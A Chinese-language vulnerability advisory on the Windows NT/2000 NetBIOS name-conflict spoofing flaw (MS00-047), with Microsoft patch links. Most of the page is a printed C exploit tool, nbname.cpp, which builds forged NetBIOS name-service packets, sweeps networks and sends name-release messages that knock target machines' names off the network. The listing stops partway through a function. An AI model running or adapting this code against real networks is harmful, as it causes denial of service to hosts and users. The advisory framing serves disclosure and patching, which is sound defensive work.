首页 -> 安全研究

安全研究

安全漏洞
Microsoft Windows NT/2000 NetBIOS名称冲突漏洞(MS00-047)

发布日期:2000-07-27
更新日期:2000-07-27

受影响系统:
Microsoft Windows NT Workstation 4.0
Microsoft Windows NT 4.0 Server
Microsoft Windows 2000
描述:
BUGTRAQ  ID: 1514
CVE(CAN) ID: CVE-2000-0673

Microsoft Windows NT/2000是微软发布的非常流行的操作系统。

Windows系统中实现了NetBIOS名称服务(NBNS)协议用作Windows Internet名称服务(WINS)。根据设计,NBNS允许网络对等端帮助管理名称冲突,但这个协议是个未认证的协议,可能会被欺骗。攻击者可以滥用名称冲突机制,导致其他机器认为其名称发生了冲突,这样机器就无法在网络中注册名称,或放弃已注册的名称。

远程攻击者可以通过向NetBIOS名称服务发送NetBIOS名称冲突消息导致拒绝服务。

<*来源:COVERT Labs
  
  链接:http://www.microsoft.com/technet/security/bulletin/MS00-047.asp
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

// nbname.cpp - decodes NetBIOS name packets (UDP 137), with some other options
// Copyright 2000 Sir Dystic of the Cult of the Dead Cow - sd@cultdeadcow.com
//
// For Win32 should be compiled with /DWIN32 /MT (use multi-threaded libraries)
// If it complains about socklen_t try adding -Dsocklen_t=int
//
//  Thanks to all the people who helped me with ideas, testing and making it work
//   under Unix, especially:
//   Optyx, FreqOut, Nyar, Netmask, T12, and many others I am too lame to remember

/*

Version history:

v1.8 - July 29, 2000
Discussed nbname at Defcon

v1.9 - August 1, 2000
Began keeping history
Added /SCAN option
Added /RETRY option
Changed /NOBOOTY option to /ALLOW and /DENY (sorry all you anal lovers)
Made commandline options case-insensitive (thanks missnglnk for being aware of
  strcasecmp() which nobody else mentioned to me)
Added /RESPOND option


  */




#ifdef WIN32

// comment the following line to make a Winsock 1.1 compile
#define WINSOCK2

#pragma comment(linker, "/SUBSYSTEM:CONSOLE")

#define CLOSESOCKET(x) closesocket(x)
#define GETSOCKETERROR() WSAGetLastError()
#define GETRANDSEED()  GetTickCount()
#define SLEEP(x) Sleep(x)
#define CREATETHREAD(x, y) _beginthread(x, 0, y)
#define EXITTHREAD() _endthread()
#define STRICMP(x, y) stricmp(x, y)
#define STRNICMP(x, y, z) strnicmp(x, y, z)

#include <process.h>

#ifdef WINSOCK2

#include <winsock2.h>
#include <Ws2tcpip.h>

#pragma comment(lib, "ws2_32.lib")

#else

#include <windows.h>
#include <winsock.h>
#pragma comment(lib, "wsock32.lib")

#endif

#include <time.h>
#include <io.h>

#endif


// common includes
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>



#ifndef WIN32

#include <sys/socket.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <time.h>


typedef unsigned char BYTE, *LPBYTE;
typedef unsigned short WORD, *LPWORD;
typedef unsigned long DWORD, *LPDWORD;
typedef unsigned long BOOL, *LPBOOL;
typedef int SOCKET;
typedef struct sockaddr SOCKADDR;
typedef struct sockaddr_in SOCKADDR_IN;
typedef SOCKADDR *LPSOCKADDR;
typedef SOCKADDR_IN *LPSOCKADDR_IN;
typedef struct hostent HOSTENT;
typedef HOSTENT *LPHOSTENT;
typedef unsigned long ULONG;
typedef unsigned short USHORT;
typedef long LONG;

#define GETSOCKETERROR() 0
#define GETRANDSEED() clock()
#define CLOSESOCKET(x) close(x)
#define SLEEP(x) usleep(x*1000)
#define STRICMP(x, y) strcasecmp(x, y)
#define STRNICMP(x, y, z) strncasecmp(x, y, z)

#define MAKEWORD(a, b)      ((WORD)(((BYTE)(a)) | ((WORD)((BYTE)(b))) << 8))
#define MAKEULONG(l, h) ((ULONG)(((USHORT)(l)) | ((ULONG)((USHORT)(h))) << 16))
#define MAKELONG(l, h)  ((LONG)MAKEULONG(l, h))

#define FALSE 0
#define TRUE 1
#define INVALID_SOCKET -1
#define SOCKET_ERROR -1

#endif


#pragma pack(1)


#define NETBIOSNAMEPORT 137
#define WILDCARDNAME "*\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"

// uncomment the following line to display statistics info (windows and samba boxes seem to always set this info to 0s)
//#define STUFFTHATSUSUALLYALLZERO

BOOL g_Astat = FALSE;
BOOL g_Conflict = FALSE;
BOOL g_FindAll = FALSE;
BOOL g_Reverse = FALSE;
BOOL g_NoLocal = FALSE;
BOOL g_NoLocalNet = FALSE;

char *g_OutServsFile = NULL;
char *g_OutAllFile = NULL;
char *g_ASOutFile = NULL;
char *g_SpawnCommand = NULL;
char *g_SpawnArgs = NULL;
char *g_ScanFile = NULL;
char *g_AllowName = NULL;
char *g_DenyName = NULL;
char *g_RespondName = NULL;

DWORD g_TargetIP = INADDR_NONE;
DWORD g_LocalIP = INADDR_NONE;
DWORD g_BroadcastIP = INADDR_BROADCAST;
DWORD g_NetmaskIP = 0;
DWORD g_SweepStartIP = 0;
DWORD g_SweepEndIP = 0;

DWORD g_PacketDelay = 100;
DWORD g_ReceiveTimeout = 0;

WORD g_LocalPort = NETBIOSNAMEPORT;

int g_Retries = 3;

#define ONT_BNODE 0
#define ONT_PNODE 1
#define ONT_MNODE 2
#define ONT_HNODE 3

typedef struct
{
    BYTE UnitID[6];                // MAC address
    BYTE Jumpers;
    BYTE TestResult;
    WORD Version;
    WORD StatsPeriod;
    WORD NumCRCs;
    WORD NumAlignmentErrors;
    WORD NumCollisions;
    WORD NumSendAborts;
    DWORD NumGoodSends;
    DWORD NumGoodRcvs;
    WORD NumRetransmits;
    WORD NumResourceConditions;
    WORD NumFreeCommandBlocks;
    WORD NumCommandBlocks;
    WORD NumMaxCommandBlocks;
    WORD NumPendingSessions;
    WORD NumMaxPendingSessions;
    WORD NumMaxTotalSessions;
    WORD SessionDataPacketSize;
} NETBIOSSTATS, *PNETBIOSSTATS;

typedef struct
{
    WORD Reserved:13;
    WORD ONT:2;            // Owner Node Type:
                        //  00 = B node
                        //  01 = P node
                        //  10 = M node
                        //  11 = Reserved for future use
                        // For registration requests this is the
                        // claimant's type.
                        // For responses this is the actual owner's type.
    WORD fGroup:1;        // Group Name Flag.
                        // If one (1) then the RR_NAME is a GROUP NetBIOS name.
                        // If zero (0) then the RR_NAME is a UNIQUE NetBIOS name.
} NBFLAGS;


typedef struct
{
    WORD Reserved:9;    // Reserved for future use.  Must be zero (0).
    WORD fPermanent:1;    // Permanent Name Flag.  If one (1) then entry is for the permanent node name.  
                        //  Flag is zero (0) for all other names.
    WORD fActive:1;        // Active Name Flag.  All entries have this flag set to one (1).
    WORD fConflict:1;    // Conflict Flag.  If one (1) then name on this node is in conflict.
    WORD fDeregister:1;    // Deregister Flag.  If one (1) then this name is in the process of being deleted.
    WORD OwnerType:2;    // Owner Node Type:
                        //  00 = B node
                        //  01 = P node
                        //  10 = M node
                        //  11 = Reserved for future use
    WORD fGroupName:1;    // Group Name Flag.
                        //  If one (1) then the name is a GROUP NetBIOS name.
                        //  If zero (0) then it is a UNIQUE NetBIOS name.
} NETBIOSNAMEFLAGS;

typedef struct
{
    char Name[15];        // uncompressed name
    BYTE BinVal;        // binary value
    WORD Flags;            // flags
} NETBIOSNAME, *PNETBIOSNAME;

#define RCODE_FMTERR    0x1
#define RCODE_SRVERR    0x2
#define RCODE_NAMERR    0x3
#define RCODE_IMPERR    0x4
#define RCODE_RFSERR    0x5
#define RCODE_ACTERR    0x6
#define RCODE_CFTERR    0x7

typedef struct
{
    WORD Type;            // type of recource record
    WORD Class;            // class of resource record (always IN)
    DWORD TTL;            // Time to live
    WORD RDLength;        // length of following resource data
} RESOURCERECORDHEADER, *PRESOURCERECORDHEADER;

#define RRTYPE_A        0x0001
#define RRTYPE_NS        0x0002
#define RRTYPE_NULL        0x000A
#define RRTYPE_NB        0x0020
#define RRTYPE_NBSTAT    0x0021

#define RRCLASS_IN        0x0001

typedef struct
{
    WORD RCode   : 4;            // response code
    WORD fNM_B   : 1;            // Broadcast flag
    WORD fNM_00  : 2;            // reserved, always 0
    WORD fNM_RA  : 1;            // Recursion Available flag
    WORD fNM_RD  : 1;            // Recursion Desired flag
    WORD fNM_TC  : 1;            // Truncation flag
    WORD fNM_AA  : 1;            // Authoratative answer flag
    WORD OpCode  : 4;            // Operation code
    WORD fResponse:1;            // Response flag
} OPCODEFLAGSRCODE;

typedef struct {
    WORD TransactionID;            // transaction id, responses match original packet, requests are random/sequential
    WORD OpcodeFlagsRcode;        // opcode, flags and rcode
    WORD QDCount;                // number of questions
    WORD ANCount;                // number of answer resource records
    WORD NSCount;                // number of name service resource records
    WORD ARCount;                // number of athoratative resource records
} NBNAMEHEADER, *PNBNAMEHEADER;

#define OPCODE_QUERY        0
#define OPCODE_REGISTRATION    5
#define OPCODE_RELEASE        6
#define OPCODE_WACK            7
#define OPCODE_REFRESH        8

typedef struct{
    BYTE Name[34];        // compressed name
    WORD Type;            // question type
    WORD Class;            // question class (always type IN - Internet)
} QUESTION, *PQUESTION;

#define QUESTION_TYPE_NB        0x0020    // general name request
#define QUESTION_TYPE_NBSTAT    0x0021    // stats request

#define QUESTION_CLASS_IN        0x0001    // internet class

unsigned char hexvals[16] = {'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'};


void PrintNetbiosName(unsigned char *name)
{
    BYTE BinVal;
    char PrintName[16];

    memcpy(PrintName, name, 15);
    PrintName[15] = 0;

    BinVal = name[15];

    printf("%15s <%02x>", PrintName, BinVal);
}

int NetbiosNameToString(char *dest, const BYTE *src, int PacketLeft)
{
    int y;
    static unsigned char Name[32];
    unsigned char UncompressedName[256];
    unsigned char hexbuf[3];
    char *ptr;
    BYTE len;

    // get length of string
    len = *src;

    if (len & 0xC0) // name pointer or other
    {
        len = 0;
        // just return last name read
    } else {
        if (len <= PacketLeft)
        {
            puts("[Short name, aborting]");
            return 0;
        }

        memset(UncompressedName, 0, sizeof(UncompressedName));

        memset(Name, ' ', sizeof(Name) );

        memcpy(UncompressedName, src+1, len);

        for (y = 0; y < 16; y++)
        {
            hexbuf[0] = hexvals[UncompressedName[y*2] - 'A'];
            hexbuf[1] = hexvals[UncompressedName[y*2+1] - 'A'];
            hexbuf[2] = 0;
            Name[y] = (BYTE)strtoul((char *)hexbuf, &ptr, 16);
        }
    }

    memcpy(dest, (const char *)Name , 16);

    return (int)(len+2);
}

int StringToNetbiosName(char *dest, const char *src, BYTE binval)
{
    int x, y;
    unsigned char Name[16];
    unsigned char UncompressedName[256];
    char hexbuf[2];

    // set name to all zeros
    memset(Name, 0, sizeof(Name));

    // get length of name
    x = strlen(src);

    // truncate at 15th char
    if (x > 15) x = 15;

    // copy up to 15 chars leaving the rest space padded
    memcpy(Name, src, x);

    // uppercase the name
    Name[15] = 0;
    for (y = 0; y < 15; y++)
        Name[y] = toupper((int)Name[y]);

    // set 16th binary char
    Name[15] = binval;

    UncompressedName[0] = 32;

    // convert each char to hex
    for (x = 0; x < 16; x++)
        sprintf((char *)&UncompressedName[(x*2)+1], "%02X", (DWORD)Name[x] );

    // add 'A' to each char
    for (x = 1; x <= 32; x++)
    {
        char *ptr;

        hexbuf[0] = UncompressedName[x];
        hexbuf[1] = 0;
        UncompressedName[x] = 'A' + (BYTE)strtoul(hexbuf, &ptr, 16);;
    }

    UncompressedName[33] = 0;
#if 0
    // add SCOPE_ID
    UncompressedName[33] = 7;
    memcpy((char *)&UncompressedName[34], "NETBIOS", 7);

    UncompressedName[41] = 3;
    memcpy((char *)&UncompressedName[42], "COM", 3);
#endif

    // set the length
    x = 34;

    memcpy(dest, UncompressedName, x);

    return x;
}

            

DWORD FormPacket(unsigned char *buff, WORD TranID, BYTE Opcode, char *QuestionName, WORD QuestionType, BOOL fResponse, BOOL fBroadcast, BOOL fTruncated, BOOL fRecursionAvailable, BOOL fRecursionDesired, BOOL fAuthoratativeAnswer, WORD RCode, WORD QDCount, WORD ANCount, WORD NSCount, WORD ARCount, DWORD TargetIP, BOOL fGroup, BYTE ONT)
{
    NBFLAGS nbflags;
    PNBNAMEHEADER pnbnameheader = (PNBNAMEHEADER)buff;
    OPCODEFLAGSRCODE Wcode;
    BYTE *ptr, *firstnameptr = NULL;
    DWORD d;
    WORD w;

    memset(pnbnameheader, 0, sizeof(NBNAMEHEADER) );

    pnbnameheader->TransactionID = TranID;    // Transaction ID

    Wcode.fResponse = fResponse;        // request not response
    Wcode.OpCode = Opcode;                // operation code (command)
    Wcode.fNM_00 = 0;                    // always 0
    Wcode.fNM_B = fBroadcast;            // broadcast
    Wcode.fNM_RA = fRecursionAvailable;    // always 0 for requests
    Wcode.fNM_RD = fRecursionDesired;    // no recursion requested
    Wcode.fNM_TC = fTruncated;            // not truncated
    Wcode.fNM_AA = fAuthoratativeAnswer;// always 0 for requests
    Wcode.RCode = RCode;

    pnbnameheader->OpcodeFlagsRcode = htons(*((WORD*)&Wcode));

    pnbnameheader->QDCount = htons(QDCount);
    pnbnameheader->ANCount = htons(ANCount);
    pnbnameheader->ARCount = htons(ARCount);
    pnbnameheader->NSCount = htons(NSCount);

    ptr = (BYTE *)(pnbnameheader + 1);

    if (QDCount > 0)
    {
        PQUESTION pquestion = (PQUESTION)ptr;

        StringToNetbiosName((char *)pquestion->Name, QuestionName, QuestionName[15]);

        firstnameptr = pquestion->Name;

        pquestion->Type = htons(QuestionType);
        pquestion->Class = htons(QUESTION_CLASS_IN);
        
        ptr += sizeof(QUESTION);
    }

    if (ANCount > 0)
    {
        d = StringToNetbiosName((char *)ptr, QuestionName, QuestionName[15]);

        ptr += d;

        PRESOURCERECORDHEADER presrecordheader = (PRESOURCERECORDHEADER)ptr;

        presrecordheader->Class = htons(RRCLASS_IN);
        presrecordheader->RDLength = htons(6);
        presrecordheader->TTL = 0;
        presrecordheader->Type = htons(RRTYPE_NB);

        ptr += sizeof(RESOURCERECORDHEADER);

        nbflags.fGroup = fGroup;
        nbflags.Reserved = 0;
        nbflags.ONT = ONT;
        
        memcpy(&w, &nbflags, sizeof(WORD) );

        w = htons(w);

        memcpy(ptr, &w, sizeof(WORD));

        ptr += sizeof(WORD);

        *((DWORD *)ptr) = TargetIP;

        ptr += sizeof(DWORD);
    }

    if (ARCount > 0)
    {
        if (firstnameptr == NULL)
        {
            d = StringToNetbiosName((char *)ptr, QuestionName, QuestionName[15]);
            ptr += d;
        }
        else
        {
            *((WORD *)ptr) = htons(0xC000 | (firstnameptr - buff));
            ptr+=2;
        }

        PRESOURCERECORDHEADER presrecordheader = (PRESOURCERECORDHEADER)ptr;

        presrecordheader->Class = htons(RRCLASS_IN);
        presrecordheader->RDLength = htons(6);
        presrecordheader->TTL = 0;
        presrecordheader->Type = htons(RRTYPE_NB);

        ptr += sizeof(RESOURCERECORDHEADER);

        nbflags.fGroup = fGroup;
        nbflags.Reserved = 0;
        nbflags.ONT = ONT;
        
        memcpy(&w, &nbflags, sizeof(WORD) );

        w = htons(w);

        memcpy(ptr, &w, sizeof(WORD));

        ptr += sizeof(WORD);

        *((DWORD *)ptr) = TargetIP ;
        

        ptr += sizeof(DWORD);
    }

    return (DWORD)(ptr - buff);
}





DWORD ProcessResourceRecord(const BYTE *ptr, int Type, SOCKET sock, LPSOCKADDR_IN psockaddr, int PacketLeft)
{
    BYTE outbuff[1024];
    char NameBuff[256];
    WORD w, RRType, RRClass, RRRDLength, NameFlags, TranID;
    DWORD d, RRTTL;
    BYTE NumNames;
    BYTE BinVal;
    NETBIOSNAMEFLAGS NameFlagsStruct;
    NBFLAGS nbflags;
    int x;

    d = NetbiosNameToString(NameBuff, ptr, PacketLeft);

    if (d == 0) return 0;

    PrintNetbiosName((BYTE *)NameBuff);
    puts("");
    ptr += d;

    if (PacketLeft - d < sizeof(RESOURCERECORDHEADER) || PacketLeft - d < sizeof(RESOURCERECORDHEADER) + ntohs(((PRESOURCERECORDHEADER)ptr)->RDLength) )
    {
        puts("[Short record, aborting]");
        return 0;
    }

    PRESOURCERECORDHEADER presrecordheader = (PRESOURCERECORDHEADER)ptr;


    RRType = ntohs(presrecordheader->Type);
    RRClass = ntohs(presrecordheader->Class);
    RRTTL = ntohl(presrecordheader->TTL);
    RRRDLength = ntohs(presrecordheader->RDLength);

    ptr = (LPBYTE)(presrecordheader+1);


    switch (RRType)
    {
    case RRTYPE_A:
        printf("IP Address Resource Record:\n");
        break;
    case RRTYPE_NS:
        printf("Name Service Resource Record:\n");
        break;
    case RRTYPE_NULL:
        printf("NULL Resource Record:\n");
        break;
    case RRTYPE_NB    :
        printf("NetBIOS Name Service Resource Record:\n");
        break;
    }

    if (g_FindAll && RRType == RRTYPE_NB && memcmp(NameBuff, WILDCARDNAME, 16) == 0)
    {
        d = FormPacket(outbuff, rand(), OPCODE_QUERY, WILDCARDNAME, QUESTION_TYPE_NBSTAT, FALSE, TRUE, FALSE, FALSE, FALSE, FALSE, 0, 1, 0,    0, 0, 0, 0, ONT_BNODE);

        sendto(sock, (const char *)outbuff, d, 0, (LPSOCKADDR)psockaddr, sizeof(SOCKADDR_IN) );

        printf(" **** NBSTAT request packet sent\n");

    }

    switch (RRType)
    {
    case RRTYPE_A:
    case RRTYPE_NS:
        break;
    case RRTYPE_NULL:
    case RRTYPE_NB    :

        for (x = 0; x < RRRDLength / 6; x++)
        {
            memcpy(&w, ptr, sizeof(w) );
            w = ntohs(w);
            memcpy(&nbflags, &w, sizeof(w) );
            ptr += sizeof(WORD);

            printf("Owner Node Type: ");
            switch (nbflags.ONT)
            {
            case ONT_BNODE:
                printf("B-NODE ");
                break;
            case ONT_PNODE:
                printf("P-NODE ");
                break;
            case ONT_MNODE:
                printf("M-NODE ");
                break;
            case ONT_HNODE:
                printf("H-NODE ");
            }

            printf("  ");

            if (nbflags.fGroup)
                printf("GROUP  ");
            else
                printf("UNIQUE ");

            printf("  -  ");

            printf("IP: %u.%u.%u.%u", *ptr, *(ptr+1), *(ptr+2),*(ptr+3));

            ptr+=4;

            puts("");

        }

        break;
    case RRTYPE_NBSTAT:
        {
            FILE *outfile = NULL;

            printf("Node Status Resource Record:\n");
            NumNames = *ptr;
            ptr++;
            PNETBIOSNAME pnetbiosname = (PNETBIOSNAME)ptr;

            if (NumNames > 0 && g_OutAllFile != NULL)
            {
                outfile = fopen(g_OutAllFile , "at");
                if (outfile != NULL)
                {
                    BinVal = pnetbiosname->BinVal;
                    pnetbiosname->BinVal = 0;
                    fprintf(outfile, "%s %s\n", inet_ntoa(psockaddr->sin_addr), pnetbiosname->Name);
                    pnetbiosname->BinVal = BinVal;
                    fclose(outfile);
                    printf(" **** Machine added to %s\n", g_OutAllFile );
                    outfile = NULL;
                }
            }

            if (g_ASOutFile != NULL)
            {
                outfile = fopen(g_ASOutFile, "at");
                if (outfile != NULL)
                {
                    time_t curtime = time(NULL);
                    fprintf(outfile, "ASTAT response from %s at %s", inet_ntoa(psockaddr->sin_addr), ctime(&curtime) );
                }
            }


            for (w = 0; w < NumNames; w++)
            {
                char *tptr;
                BinVal = pnetbiosname->BinVal;
                pnetbiosname->BinVal = 0;

                printf("%s <%02x>  ", pnetbiosname->Name, BinVal );

                if (outfile != NULL)
                    fprintf(outfile, "%s <%02x>  ", pnetbiosname->Name, BinVal );

                pnetbiosname->BinVal = BinVal;

                NameFlags = ntohs(pnetbiosname->Flags);
                memcpy(&NameFlagsStruct, &NameFlags, sizeof(NameFlags) );
                if (NameFlagsStruct.fActive)
                    tptr = "ACTIVE   ";
                else
                    tptr = "INACTIVE ";

                printf("%s", tptr);
                if (outfile != NULL)
                    fprintf(outfile, "%s", tptr);

                if (NameFlagsStruct.fGroupName)
                    tptr = "GROUP  ";
                else
                    tptr = "UNIQUE ";

                printf("%s", tptr);
                if (outfile != NULL)
                    fprintf(outfile, "%s", tptr);

                if (NameFlagsStruct.fPermanent)
                    tptr = "PERMANENT ";
                else
                    tptr = "NOTPERM   ";

                printf("%s", tptr);
                if (outfile != NULL)
                    fprintf(outfile, "%s", tptr);

                if (NameFlagsStruct.fConflict)
                    tptr = "INCONFLICT ";
                else
                    tptr = "NOCONFLICT ";

                printf("%s", tptr);
                if (outfile != NULL)
                    fprintf(outfile, "%s", tptr);


                if (NameFlagsStruct.fDeregister)
                    tptr = "DEREGISTERED ";
                else
                    tptr = "NOTDEREGED   ";

                printf("%s", tptr);
                if (outfile != NULL)
                    fprintf(outfile, "%s", tptr);


                switch (NameFlagsStruct.OwnerType)
                {
                case ONT_BNODE:
                    tptr = "B-NODE ";
                    break;
                case ONT_PNODE:
                    tptr = "P-NODE ";
                    break;
                case ONT_MNODE:
                    tptr = "M-NODE ";
                    break;
                case ONT_HNODE:
                    tptr = "H-NODE ";
                }

                printf("%s\n", tptr);
                if (outfile != NULL)
                    fprintf(outfile, "%s\n", tptr);

                if (!NameFlagsStruct.fGroupName && BinVal == 0x20 )
                {
                    if (g_OutServsFile != NULL)
                    {
                        FILE *outfile2 = fopen(g_OutServsFile, "at");
                        if (outfile2 != NULL)
                        {
                            pnetbiosname->BinVal = 0;

                            fprintf(outfile2, "%s %s\n", inet_ntoa(psockaddr->sin_addr), pnetbiosname->Name);

                            pnetbiosname->BinVal = BinVal;

                            fclose(outfile2);

                            printf(" **** Machine added to %s\n", g_OutServsFile );
                        }
                    }

                    if (g_SpawnCommand != NULL)
                    {
                        char buff[1024];

                        pnetbiosname->BinVal = 0;

                        sprintf(buff, "%s", inet_ntoa(psockaddr->sin_addr));
#ifdef WIN32

                        if (_spawnlpe(_P_NOWAIT, g_SpawnCommand, g_SpawnCommand, g_SpawnArgs, pnetbiosname->Name, buff, NULL, NULL) == -1)
                            printf(" *** Error spawning \"%s\"\n", g_SpawnCommand);
                        else
                        {
                            printf(" **** Spawned \"%s\"\n", g_SpawnCommand);
                        }
#else
                        if (fork() == 0)
                            if (execlp(g_SpawnCommand, g_SpawnCommand, g_SpawnArgs, pnetbiosname->Name, buff, NULL) == -1 )
                            {
                                printf(" *** Error spawning \"%s %s %s %s\"\n", g_SpawnCommand, g_SpawnArgs, pnetbiosname->Name, buff );
                                exit(0);
                            }
#endif

                        pnetbiosname->BinVal = BinVal;
                        SLEEP(20);
                    }
                }

                
                if (g_Conflict && !NameFlagsStruct.fConflict )
                {
                    TranID = rand();

                    d = FormPacket(outbuff, TranID, OPCODE_RELEASE, pnetbiosname->Name, QUESTION_TYPE_NB, FALSE, FALSE, FALSE, FALSE, FALSE, FALSE, 0, 1, 0, 0, 1, psockaddr->sin_addr.s_addr, NameFlagsStruct.fGroupName, NameFlagsStruct.OwnerType);

                    sendto(sock, (const char *)outbuff, d, 0, (LPSOCKADDR)psockaddr, sizeof(SOCKADDR_IN) );

                    printf(" **** Name release sent to %s\n", inet_ntoa(psockaddr->sin_addr) );
                }

                pnetbiosname++;
            }


            PNETBIOSSTATS pnetbiosstats = (PNETBIOSSTATS)pnetbiosname;

            printf("MAC Address:             %02X-%02X-%02X-%02X-%02X-%02X\n", pnetbiosstats->UnitID[0], pnetbiosstats->UnitID[1], pnetbiosstats->UnitID[2], pnetbiosstats->UnitID[3], pnetbiosstats->UnitID[4], pnetbiosstats->UnitID[5] );
            if (outfile != NULL)
                fprintf(outfile, "MAC Address:             %02X-%02X-%02X-%02X-%02X-%02X\n\n", pnetbiosstats->UnitID[0], pnetbiosstats->UnitID[1], pnetbiosstats->UnitID[2], pnetbiosstats->UnitID[3], pnetbiosstats->UnitID[4], pnetbiosstats->UnitID[5] );

#ifdef STUFFTHATSUSUALLYALLZERO
            printf("\nStatistics:\n");
            printf("Jumpers:                 0x%02x\n", pnetbiosstats->Jumpers);
            printf("Test result:             0x%02x\n", pnetbiosstats->TestResult);
            printf("Version:                 %d.%d\n", HIBYTE(pnetbiosstats->Version), LOBYTE(pnetbiosstats->Version) );
            printf("Stats period:            0x%04x\n", ntohs(pnetbiosstats->StatsPeriod) );
            printf("Num CRCs:                %u\n", ntohs(pnetbiosstats->NumCRCs ) );
            printf("Num Alignment errs:      %u\n", ntohs(pnetbiosstats->NumAlignmentErrors ) );
            printf("Num Collisions:          %u\n", ntohs(pnetbiosstats->NumCollisions ) );
            printf("Num Send Aborts:         %u\n", ntohs(pnetbiosstats->NumSendAborts ) );
            printf("Num Good Sends:          %u\n", ntohl(pnetbiosstats->NumGoodSends ) );
            printf("Num Good Receives:       %u\n", ntohl(pnetbiosstats->NumGoodRcvs ) );
            printf("Num Retransmits:         %u\n", ntohs(pnetbiosstats->NumRetransmits ) );
            printf("Num Resource Conditions: %u\n", ntohs(pnetbiosstats->NumResourceConditions ) );
            printf("Free Command Blocks:     %u\n", ntohs(pnetbiosstats->NumFreeCommandBlocks ) );
            printf("Total Command Blocks:    %u\n", ntohs(pnetbiosstats->NumCommandBlocks ) );
            printf("Max Command Blocks       %u\n", ntohs(pnetbiosstats->NumMaxCommandBlocks ) );
            printf("Pending Sessions:        %u\n", ntohs(pnetbiosstats->NumPendingSessions ) );
            printf("Max Pending Sessions:    %u\n", ntohs(pnetbiosstats->NumMaxPendingSessions ) );
            printf("Max Total Sessions:      %u\n", ntohs(pnetbiosstats->NumMaxTotalSessions ) );
            printf("Session Data Packet Size:%u\n", ntohs(pnetbiosstats->SessionDataPacketSize ) );
#endif

            if (outfile != NULL)
            {
                fclose(outfile);
                outfile = NULL;
            }

        }
        break;
    default:
        printf("Unknown resource record type: 0x%04x\n", RRType);
        break;
    }

    return d + RRRDLength + sizeof(RESOURCERECORDHEADER);
}


DWORD ProcessPacket(char *buff, int packetsize, SOCKET sock, LPSOCKADDR_IN psockaddr)
{
    char NameBuff[256];
    PNBNAMEHEADER pnbnameheader = (PNBNAMEHEADER)buff;
    OPCODEFLAGSRCODE Wcode;
    WORD w, QDCount, ANCount, NSCount, ARCount, RCode, OPCode;


建议:
厂商补丁:

Microsoft
---------
Microsoft已经为此发布了一个安全公告(MS00-047)以及相应补丁:
MS00-047:Patch Available for "NetBIOS Name Server Protocol Spoofing"
链接:http://www.microsoft.com/technet/security/bulletin/MS00-047.asp

补丁下载:

Windows 2000:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=23370
    
Windows NT 4.0 Workstation, Server和Server, Enterprise Edition:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=22138
    
Windows NT 4.0 Server, Terminal Server Edition:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=24516

浏览次数:6503
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障